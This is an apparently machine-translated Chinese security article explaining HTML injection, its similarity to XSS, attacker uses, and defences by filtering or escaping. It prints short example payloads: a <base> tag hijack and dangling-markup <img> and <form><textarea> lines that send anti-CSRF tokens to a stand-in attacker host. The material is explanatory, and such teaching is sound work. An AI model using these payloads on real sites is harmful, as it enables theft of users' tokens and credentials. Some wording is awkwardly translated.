HTML注入(超文本标记语言注入)是与以下漏洞非常相似的漏洞: 跨站点脚本(XSS)。传递机制完全相同,但是注入的内容是纯HTML标记,而不是像XSS那样的脚本。 HTML注入没有XSS危险,但是它们仍可能用于恶意目的。

与跨站点脚本的相似之处

与跨站点脚本一样,当恶意用户作为不可信输入的一部分提供的有效负载由Web浏览器在客户端执行,作为Web应用程序的HTML代码的一部分时,就会发生HTML注入。 HTML注入攻击纯粹是客户端,就像XSS攻击一样,它们影响用户,而不影响服务器。

HTML注入有两种主要类型: 反映的 and 储存的就像XSS漏洞一样。在反射HTML注入的情况下,必须将有效负载分别交付给每个用户(通常使用社会工程学作为恶意链接),并成为请求的一部分。在存储HTML注入的情况下,有效负载由Web服务器存储,并在以后有可能传递给多个用户。

HTML注入和XSS之间的主要区别在于攻击者具有的功能范围。由于HTML内容具有声明性,因此与JavaScript代码相比,有效负载所能完成的工作要少得多。

HTML注入示例

攻击者可能出于多种目的使用HTML注入。以下是此攻击技术的一些最受欢迎的应用程序,以及对Web应用程序安全性的潜在后果。

使用或损害网页的声誉

HTML注入的最简单应用是更改页面的可见内容。例如,攻击者可能使用存储的HTML注入来注入他们要出售的产品的视觉广告。类似的情况是攻击者注入恶意HTML,例如出于政治或个人原因,该恶意HTML旨在损害页面的声誉。

在这两种情况下,注入的内容旨在看起来像HTML页面的合法部分。在这两种情况下,攻击者都将需要一个存储的HTML注入漏洞。

窃取敏感用户数据

HTML注入的另一个常见应用是在目标页面上创建表单并获取在该表单中输入的数据。例如,攻击者可能使用伪造的登录表单注入恶意代码。然后将表单数据(登录名和密码)发送到攻击者控制的服务器。

如果网页使用相对URL,则攻击者还可能尝试使用 <base> 标签以劫持数据。例如。如果他们注射 <base href='http://example.com/'> 并且网页使用相对URL提交表单,所有表单将被发送给攻击者。

攻击者还可能通过注入一个 <form> 在合法的标签之前 <form> 标签。表单标签不能嵌套,顶层表单标签是优先的。

在所有这些情况下,攻击者可能会使用反射的HTML注入以及存储的HTML注入。

窃取反CSRF令牌

攻击者可能使用HTML注入进行渗透 反CSRF令牌 为了执行 跨站点请求伪造(CSRF)攻击 后来。通常使用隐藏输入类型以表格形式提供反CSRF令牌。

要窃取令牌,例如,攻击者可以使用未终止的 <img> tag like <img src='//example.com/record.php? –缺少结尾的单引号会导致其余内容成为URL的一部分,直到找到另一个单引号为止。如果有效代码使用双引号代替,则隐藏的输入将发送给攻击者控制的  record.php script and recorded:

<img src='//example.com/record.php?<input type="hidden" name="anti_xsrf" value="s74bogj63h">

另一种选择是使用 <textarea> 标签。在这种情况下, <textarea> 标签将被提交,并且 <textarea> and <form> 标签将被隐式关闭。但是,在这种情况下,实际上必须欺骗用户手动提交表单。

<form action='http://example.com/record.php?'<textarea><input type="hidden" name="anti_xsrf" value="s74bogj63h">

清除浏览器中存储的密码

攻击者还可以使用HTML注入来放置由浏览器密码管理器自动填写的表单。如果攻击者设法注入合适的表格,则密码管理器会自动插入用户凭据。对于许多浏览器,表单必须仅具有正确的字段名称和结构,并且action参数可以指向任何主机。

HTML注入还有许多其他潜在用途。要了解更多信息,建议您阅读优秀的 MichałZalewski(lcamt​​uf)备忘单)。但是,即使上述应用程序也足以让您认识到,尽管HTML注入可能不像例如, SQL注入,您不应忽略此类攻击。

防御HTML注入

防御HTML注入应与 防御跨站点脚本。就像使用XSS一样,您可以旨在从输入中过滤掉HTML内容(但 很多技巧可以用来逃避过滤器)或转义所有HTML标记。

尽管第二种方法更为有效,但如果设计使用户输入中包含一些允许的HTML代码,则可能会变得困难。在这种情况下,建议使用非常严格的基于白名单的过滤方法。

资源: //www.acunetix.com/blog/web-security-zone/html-injections/